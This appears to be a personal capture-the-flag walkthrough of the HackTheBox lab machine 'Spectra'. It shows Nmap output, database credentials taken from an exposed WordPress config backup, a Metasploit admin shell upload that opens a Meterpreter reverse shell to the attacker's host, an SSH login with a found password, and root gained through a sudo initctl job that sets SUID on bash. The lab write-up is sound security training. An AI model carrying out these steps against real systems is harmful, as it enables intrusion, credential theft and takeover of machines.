Metadata
IP: 10.129.144.180 Date Accessed: 05-11-2021
Footprinting
Issue Tracking
Until IT set up the Jira we can configure and use this for issue tracking.
Software Issue Tracker
Test
Links available on the website:
http://spectra.htb/main/index.php > not accessible, ERROR: server not found
- The website is using Jira
Scanning
Nmap
# Nmap 7.91 scan initiated Tue May 11 14:44:06 2021 as: nmap -sV -sC -p- -oN nmap.txt 10.129.144.180
Nmap scan report for 10.129.144.180
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp open http nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open mysql MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 11 14:56:04 2021 -- 1 IP address (1 host up) scanned in 717.79 seconds
open Ports: 22,82,3306 3306 is MySQL port
Connecting to $IP:3306 gets the errors:
E���ÿjHost '10.10.14.106' is not allowed to connect to this MySQL server
testing connection with sqlmap
sqlmap $IP:3306
There is a web application at port 80, adding to known hosts
10.129.144.180 spectra.htb
Navigating to newly added site, found a wordpress blog
The site is managed by an admnistrator
My goal is to grab his password and gain access to the site
Enumerating
http://spectra.htb/testing/
Content of the site:
http://spectra.htb/testing/wp-content/plugins/hello.php
Content
Fatal error: Call to undefined function add_action() in /usr/local/share/nginx/html/testing/wp-content/plugins/hello.php on line 69
This file wp-config.pho.save
the link does not work but we can curl into it, because this file might contain password and username for the database according to this manual on wordpress
curl http://spectra.htb/testing/wp-config.php.save
/ ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
Tried logging in with administrator:<pwd is on that list> to wordpress site > got it!
looks like they have not updated their wordpress version, old versions are more proned to be exploit, in fact there might be an exploit avilable right now. Let's check
WordPress 5.4.2 running Twenty Twenty theme.
msf6 > search wordpress admin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/osx/local/rootpipe_entitlements 2015-07-01 great Yes Apple OS X Entitlements Rootpipe Privilege Escalation
1 exploit/osx/local/rootpipe 2015-04-09 great Yes Apple OS X Rootpipe Privilege Escalation
2 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload
3 auxiliary/admin/http/wp_google_maps_sqli 2019-04-02 normal Yes WordPress Google Maps Plugin SQL Injection
4 exploit/unix/webapp/wp_infinitewp_auth_bypass 2020-01-14 manual Yes WordPress InfiniteWP Client Authentication Bypass
5 exploit/unix/webapp/wp_platform_exec 2015-01-21 excellent No WordPress Platform Theme File Upload Vulnerability
6 exploit/unix/webapp/wp_google_document_embedder_exec 2013-01-03 normal Yes WordPress Plugin Google Document Embedder Arbitrary File Disclosure
7 auxiliary/scanner/http/wp_subscribe_comments_file_read normal No WordPress Subscribe Comments File Read Vulnerability
8 auxiliary/admin/http/wp_symposium_sql_injection 2015-08-18 normal Yes WordPress Symposium Plugin SQL Injection
9 auxiliary/dos/http/wordpress_directory_traversal_dos normal No WordPress Traversal Directory DoS
10 auxiliary/admin/http/wp_easycart_privilege_escalation 2015-02-25 normal Yes WordPress WP EasyCart Plugin Privilege Escalation
11 exploit/unix/webapp/wp_easycart_unrestricted_file_upload 2015-01-08 excellent No WordPress WP EasyCart Unrestricted File Upload
12 auxiliary/admin/http/wp_gdpr_compliance_privesc 2018-11-08 normal Yes WordPress WP GDPR Compliance Plugin Privilege Escalation
13 auxiliary/admin/http/wp_wplms_privilege_escalation 2015-02-09 normal Yes WordPress WPLMS Theme Privilege Escalation
14 auxiliary/admin/http/wp_custom_contact_forms 2014-08-07 normal No WordPress custom-contact-forms Plugin SQL Upload
15 exploit/unix/webapp/wp_wysija_newsletters_upload 2014-07-01 excellent Yes Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload
Interact with a module by name or index. For example info 15, use 15 or use exploit/unix/webapp/wp_wysija_newsletters_upload
msf6 > use 2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) >
Great! My next goal is to exploit thsi vuln to get a shell as administrator
Exploit
Setting up the exploit
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username administrator
username => administrator
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password <pwd here>
password => devteam01
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /main
targeturi => /main
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.14.106
lhost => 10.10.14.106
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 10.129.144.180
rhost => 10.129.144.180
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lport 4444
lport => 4444
msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options
Run the exploit~~
[*] Started reverse TCP handler on 10.10.14.106:1234
[*] Authenticating with WordPress using administrator:devteam01...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /main/wp-content/plugins/ajBEtBTxXN/faIWvPqZac.php...
[*] Sending stage (39282 bytes) to 10.129.144.180
[+] Deleted faIWvPqZac.php
[+] Deleted ajBEtBTxXN.php
[+] Deleted ../ajBEtBTxXN
[*] Meterpreter session 2 opened (10.10.14.106:1234 -> 10.129.144.180:42910) at 2021-05-11 19:35:09 -0400
meterpreter > shell
Process 26105 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
cd tmp
/bin/sh: 1: cd: can't cd to tmp
cd
pwd
/home/nginx
python3 -c "import pty;pty.spawn('/bin/bash')" // run this to get a stable shell
nginx@spectra ~ $
Go to etc/pwd to find users
nginx:x:20155:20156::/home/nginx:/bin/bash
katie:x:20156:20157::/home/katie:/bin/bash
There is a Katie here:
nginx@spectra ~ $ ls -la /home
ls -la /home
total 32
drwxr-xr-x 8 root root 4096 Feb 2 15:55 .
drwxr-xr-x 22 root root 4096 Feb 2 14:52 ..
drwx------ 4 root root 4096 Jul 20 2020 .shadow
drwxr-xr-x 20 chronos chronos 4096 May 11 11:34 chronos
drwxr-xr-x 5 katie katie 4096 Feb 2 15:57 katie
drwxr-xr-x 5 nginx nginx 4096 Feb 4 12:43 nginx
drwxr-x--t 4 root root 4096 Jul 20 2020 root
drwxr-xr-x 4 root root 4096 Jul 20 2020 user
I can't see the flag since I am not Katie, I am nginx
My next goal is to gain access as Katie to read the flag
nginx@spectra ~ $ cd /home/katie
cd /home/katie
nginx@spectra /home/katie $ ls
ls
log user.txt
nginx@spectra /home/katie $ cat user.txt
cat user.txt
cat: user.txt: Permission denied
nginx@spectra /home/katie $ whoami
whoami
nginx
nginx@spectra /home/katie $
Priv Esc
Let's check what's in /opt
nginx@spectra ~ $ cd /opt
cd /opt
nginx@spectra /opt $ ls
ls
VirtualBox broadcom eeti neverware tpm2
autologin.conf.orig displaylink google tpm1
What the heck is autologin.conf.orig
nginx@spectra /opt $ cat autologin.conf.orig
cat autologin.conf.orig
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description "Automatic login at boot"
author "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
passwd=
# Read password from file. The file may optionally end with a newline.
for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
if [ -e "${dir}/passwd" ]; then
passwd="$(cat "${dir}/passwd")"
break
fi
done
if [ -z "${passwd}" ]; then
exit 0
fi
# Inject keys into the login prompt.
#
# For this to work, you must have already created an account on the device.
# Otherwise, no login prompt appears at boot and the injected keys do the
# wrong thing.
/usr/local/sbin/inject-keys.py -s "${passwd}" -k enter
Some dir mentioned we can check out
/etc/autologin/usr/local/sbin
Upon checking /etc/autologin I see a password file which we can read!
scriptnginx@spectra /opt $ ls -la /etc/autologin
ls -la /etc/autologin
total 12
drwxr-xr-x 2 root root 4096 Feb 3 16:34 .
drwxr-xr-x 63 root root 4096 Feb 11 23:12 ..
-rw-r--r-- 1 root root 19 Feb 3 16:34 passwd
nginx@spectra /opt $ cat /etc/autologin/passwd
<PASSWORD>
lET'S LOG BACK IN AS KATIE NOW
root@kali-virtualbox:~/GitLab/Offensive-Security/HackTheBox/Spectra# ssh katie@10.129.144.180
The authenticity of host '10.129.144.180 (10.129.144.180)' can't be established.
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.144.180' (RSA) to the list of known hosts.
Password:
katie@spectra ~ $
katie@spectra ~ $ cat user.txt
GOT A FLAG WOOHOO!
rOOT Prive Esc
My next goal is gaininng root access
What I learned from CTF is that when I have complete access to a user, the first thing I like to do is check if they have any permission with sudo -l
katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
katie@spectra ~ $
This article said that initctl allows a system administrator to communicate and interact with the Upstart init(8) daemon. It basically means that we can use initctl to start and stop processes.
Research
What is Upstart? I researched and found this
that talks about Upstart
/etc/init contains configuration files used by Upstart. Upstart is a young service management package championed by Ubuntu. Files in /etc/init are configuration files telling Upstart how and when to start, stop, reload the configuration, or query the status of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. In fact, the SysVinit scripts are processed by a compatibility layer in Upstart.
Let's check what is in /etc/init for Katie
There are a bunch of processes, but some of them are strange
test.conf
test1.conf
test10.conf
test2.conf
test3.conf
test4.conf
test6.conf
test7.conf
test8.conf
checking them
katie@spectra /etc/init $ cat test10.conf
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
export HOME="/srv"
echo $$ > /var/run/nodetest.pid
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script
pre-start script
echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script
pre-stop script
rm /var/run/nodetest.pid
echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script
they are seemingly scripts to run services to test node,js server, we can run them to see what happens
initctl synopsis
initctl [OPTION]... COMMAND [OPTION]... ARG...
or I can edit the script to make /bin/bash executable to get root?
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
chmod +s /bin/bash
end script
Run the process >
katie@spectra /etc/init $ sudo /sbin/initctl start test
test start/running, process 29067
we can run bin/bash with flag -p to get suid as instructed by
-p privileged Script runs as "suid" (caution!)
katie@spectra /etc/init $ /bin/bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
Got the root flag!!!